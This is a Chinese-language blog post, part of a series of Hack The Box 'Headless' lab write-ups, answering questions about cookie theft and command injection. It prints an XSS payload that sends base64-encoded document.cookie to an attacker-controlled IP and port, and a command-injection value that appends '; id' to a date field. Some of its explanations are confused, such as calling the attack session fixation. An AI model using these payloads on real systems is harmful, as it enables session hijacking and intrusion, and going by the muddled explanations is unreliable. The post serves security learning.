iT邦幫忙

2024 iThome 鐵人賽

DAY 13
0
Security

HTB_Headless系列 第 13

[問答04]竊取Cookie

  • 分享至 

  • xImage
  •  

HTB練習紀錄 — Payload

  • Payload如何造成Cookie被竊取?
  • 為何post傳遞資料會被攻擊?

回答[Day 5][Day 7]


[Day 5]HTB_Headless(Script Injection_02)

Q1: 為何下列本章使用的Code會造成Cookie被竊取?

<script>var i=new Image(); i.src="http://[your_IP]:8001/?cookie="+btoa(document.cookie);</script>

A: 建立Image(圖片物件)後,Image需要src(圖源)於是向url發送"包含Cookie"的Get請求。

ChatGPT對Image的簡介

ChatGPT

  • Image
    用法:用於在 HTML 中加載和顯示圖片。
    屬性:src 用於設置圖片的 URL。
    示例:var img = new Image();img.src = 'http://example.com/image.jpg';

結論

我的觀點
如同學生(攻擊者)向老師(被攻擊者)要試卷(img.src),老師給學生試卷的同時,還附帶答案(Cookie)。
一般而言,答案當然不會給學生,但是目前老師被操縱(Session Fixation),所以實際上是被操縱的老師(攻擊者)發出附帶答案(Cookie)的試卷(img.src)
雷影

Q2:為何不能將SB的值更改為 <script>alert(document.cookie)</script> ,直接取得cookie不是比較快?

A: 直接取得 Cookie是當前使用者的,監聽取得 Cookie是網頁本身對外的身分。

問問ChatGPT為什麼會有不同的 document.cookie 值?

ChatGPT

  1. 執行時機: 這兩段代碼可能在不同的上下文中執行。比如,如果在不同的頁面或不同的時候執行,document.cookie 的值可能會有所不同。當 document.cookie 被讀取時,所得到的值取決於當前頁面的 cookie 狀態和作用域。

  2. HTTP GET 請求的影響: 如果你的伺服器端處理 HTTP GET 請求時更改了 cookie,這可能會影響後續讀取 document.cookie 的結果。舉例來說,伺服器端可能修改了 cookie,或者有其他代碼修改了當前頁面的 cookie。

  3. 跨域和同源策略: 如果這兩段代碼在不同的域或子域下執行,document.cookie 的值可能會不同,因為 cookie 是根據域名進行隔離的。

結論

我的觀點
Cookie可以理解為一個人的身分證,在網頁中的Cookie是指User登入後,該User的身分證。擁有User權限。
監聽取得 Cookie是網頁跟別人溝通的身分證,也就是網頁本身的Cookie。
Cookie 是什麼?提及cookie有許多種類,包含但不限於"工作階段 Cookie"、"持久性 Cookie"...

直接取得 Cookie

<script>alert(document.cookie)</script>

https://ithelp.ithome.com.tw/upload/images/20240819/20168534F60UgOPpTR.png

監聽取得 Cookie

<script>var i=new Image(); i.src="http://[your_IP]:8001/?cookie="+btoa(document.cookie);</script>

https://ithelp.ithome.com.tw/upload/images/20240819/20168534TLamNYB0ka.png


[Day 7]HTB_Headless(Command Injection)

Q: 為何post傳遞的內容會被當作命令執行? post不是只做資料傳遞嗎?

A: 數據被用作命令參數

如果應用程式將 POST 資料直接傳遞給系統命令或腳本,且沒有適當的處理和過濾,那麼資料中的特殊字元或字串可能會被解釋為命令的一部分。例如:

  • 應用程式行為:應用程式接收到 POST 資料後,可能會使用這些資料建構和執行系統命令,例如呼叫外部腳本或工具。
  • 攻擊範例:假設應用程式執行一個指令,建構方式類似some_command "date=${date}",如果date 參數包含; id,最終指令可能變成some_command "date=2023-09-15; id",在這種情況下,id 指令會被執行。

參考來源:

  1. Cookie
    Cookie 是什麼?

上一篇
[問答03]Payload的主要類型
下一篇
[Day 10]HTB_Headless(Reverse Shell_01)
系列文
HTB_Headless30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言